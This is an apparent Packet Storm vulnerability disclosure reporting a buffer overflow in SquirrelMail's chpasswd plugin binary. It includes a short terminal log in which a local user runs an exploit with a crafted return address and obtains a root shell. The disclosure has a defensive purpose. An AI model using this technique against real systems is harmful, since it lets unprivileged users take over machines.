The chpasswd binary plugin version 3.x that comes with SquirrelMail is susceptible to a buffer overflow.
51bed8c4cf3edfac90f26c1ed8d63cd3bf848fa26f97b3022a5c47a95bfe5974Hi all
There is a boffer over flow in the chpasswd binary, distributed with the
plugin. This allow to local's user to execute commands as a root.
---:::Prott:::---
root@orco:/mnt/hosting/hack/bof# su webmaster
webmaster@orco:/mnt/hosting/hack/bof$ ./exploit 166 5555 99999
Using address: 0xbfffe325
bash-2.05b$ ./chpasswd $RET asdf asdf
The new password is equal to old password. Choose another password.
sh-2.05b# id
uid=0(root) gid=3(sys) groups=500(webmaster)
sh-2.05b#
---:::end:::---
Bye all
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed